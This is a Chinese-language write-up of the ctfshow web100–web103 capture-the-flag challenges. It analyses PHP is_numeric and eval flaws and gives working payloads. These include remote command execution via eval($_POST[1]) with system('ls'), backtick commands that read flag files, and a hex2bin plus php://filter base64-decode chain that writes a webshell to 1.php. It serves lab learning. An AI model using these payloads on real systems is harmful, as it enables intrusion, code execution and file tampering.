目录
1、web100
2、web101
3、web102
4、web103
1、web100
提示:flag in class ctfshow,我们只需要构造输出 ctfshow 这个类即可。
代码分析:
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
虽然逻辑运算符的优先级比赋值运算符要高,但是如果逻辑运算符和赋值运算符连用时,往往允许存在先进行赋值运算,后再进行逻辑运算的顺序。
is_numeric() 函数用于检测变量是否为数字或数字字符串,对于 php 来说:
$a=true and false and false;
var_dump($a); 返回true$a=true && false && false;
var_dump($a); 返回false
需要满足 if 语句才会进入后面的判断,因此要求 v0 为 1,这里用的是 and,所以只需要满足 v1是数字即可。
if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){
要求 v2 中不能有分号,v3 中需要有分号。
eval("$v2('ctfshow')$v3");
如果上述要求都满足,则会调用 eval 函数。
构造 payload:
?v1=1&v2=echo new ReflectionClass&v3=;
代入 eval 函数实际就是执行:
eval("echo new ReflectionClass('ctfshow');");
ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出(echo)到页面上。
拿到的 flag:5322193e0x2d9ab00x2d4faa0x2daafc0x2d21f6bbb10397
需要将 0x2d 替换为 - ,结果再使用 ctfshow{} 包裹。
最终 flag 为:ctfshow{5322193e-9ab0-4faa-aafc-21f6bbb10397}
除了输出 ctfshow 类,这里还可以进行命令执行:
b 站视频里用 %23 也就是 # 将后面的内容进行注释掉
?v1=1&v2=eval($_POST[1])?>%23&v3=;
post:
1=system('ls');
其实不注释也是可以的,这里也没有注释成功,因为我们已经使用 ?> 将前面的 php 代码闭合了,后面的 ('ctfshow') 已经在 php 标签外了,只会被当做纯文本直接输出。
也可以直接使用反引号进行命令执行:
?v1=1&v2=echo `ls`?>&v3=;
不用去考虑后面多出来的内容,闭合前面的 php 代码即可。
但是这里发现 flag 并不在 flag36d.php 里面
最终在 ctfshow.php 里面找到 flag:
?v1=1&v2=echo `tac ctfshow.php`?>&v3=;
此外,还可以直接输出 $ctfshow,payload:
?v1=1&v2=var_dump($ctfshow)?>&v3=;
?v1=1&v2=print_r($ctfshow)?>&v3=;
?v1=1&v2=var_export($ctfshow)?>&v3=;
除了用 ?> 让 php 代码提前闭合,也可以将后面多余部分 ('ctfshow') 注释掉:
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
替换进 eval 函数就是 eval(var_dump($ctfshow)/*('ctfshow')*/;);
当然,不注释,不提前闭合,直接用前面代码也能正常回显出结果:
?v1=1&v2=var_dump($ctfshow)&v3=;
2、web101
在上一题的基础上,对 v2 和 v3 新增了很多的过滤,特别是 $ 和反引号这些都被毙掉了,我们只能采用反射类的方法:
?v1=1&v2=echo new ReflectionClass&v3=;
替换掉 0x2d 后得到 ctfshow{6aefebb5-4607-4473-b33e-890dae795f1}
查看提示:最后一位需要爆破16次,题目给的flag少一位
好吧再爆破一下:
最后一位是 8
最终 flag:ctfshow{6aefebb5-4607-4473-b33e-890dae795f18}
3、web102
代码审计:
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
要求 v2 是数字,这样才会满足 if 条件,进入后面的语句。
$s = substr($v2,2);
从 $v2 的第三个字符开始截取子字符串并赋值给 $s。
$str = call_user_func($v1,$s);
调用 $v1 指定的函数,并将 $s 作为参数传递给该函数,将函数的返回值赋值给 $str。
file_put_contents($v3,$str);
将 $str 写入 $v3 指定的文件中。
可以看出这里我们控制的 payload 应该从 v2 的第三位起,并且内容只能先传入数字;
接着我们通过 v1 指定函数,这里可以使用 hex2bin 函数,将前面传入 v2 的数字作为十六进制数值转换为 ASCII 字符,转换后的结果返回给了 $str;
最后通过 file_put_contents 函数将内容写入到我们指定的文件 v3 里面。
但是问题在于,什么样的 payload 转换成十六进制全是数字呢?
其实很难有完整的,我们无法直接写入,因此在写入的时候采用伪协议,对写入内容进行 Base64 解码后再写入,而我们可以对 payload 先进行 base64 编码后,再转为 16 进制。
payload:
<?=`cat *`;
先转为 base64 编码:
PD89YGNhdCAqYDs=
再转为 16 进制:
5044383959474e68644341715944733d
结尾的 3d 肯定是不行的,因此去掉 3d,相当于去掉的是 base64 里的等号,这个是不影响的。
得到:
5044383959474e6864434171594473
其实可以注意到,里面还有一个字母 e,那么 e 可以被当做数字吗?
不难看出 e 在中间是符合 is_numeric() 的,作为科学计数,因此满足题目代码要求。
为什么不使用 cat f* 或者 cat flag.php,因为这些转出来的内容都不行,不符合都是数字的要求。
注意,我们的 payload 是从 v2 第三位开始的,因此前面需要增加两个数字,绕过 substr 函数。
所有这里 v2 传入 payload:005044383959474e6864434171594473
v1 传入用来转换的函数:hex2bin
v3 传入伪协议,用来对要写入的数据先进行 Base64 解码:php://filter/write=convert.base64- decode/resource=1.php
完整 payload:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:
v1=hex2bin
被 echo 出来的 PD89YGNhdCAqYDs 其实就是我们的 payload,也就是 $str 的内容,这个内容会通过伪协议,先 base64 解码后,再写入到 1.php 里面去。
之后访问 1.php,查看源码:
拿到 flag:ctfshow{d75d19d4-078a-4f3d-bfb3-0ae18277c463}
4、web103
新增过滤 php,实际上转出来能满足 is_numeric() 函数的本身就很少了,而且上一题我们压根也没有使用到 php,所以直接用上一题的 payload 打就行:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post:
v1=hex2bin
访问 1.php 查看源码:
拿到 flag:ctfshow{47ff55ed-50e7-4951-8629-dfab88da8c4f}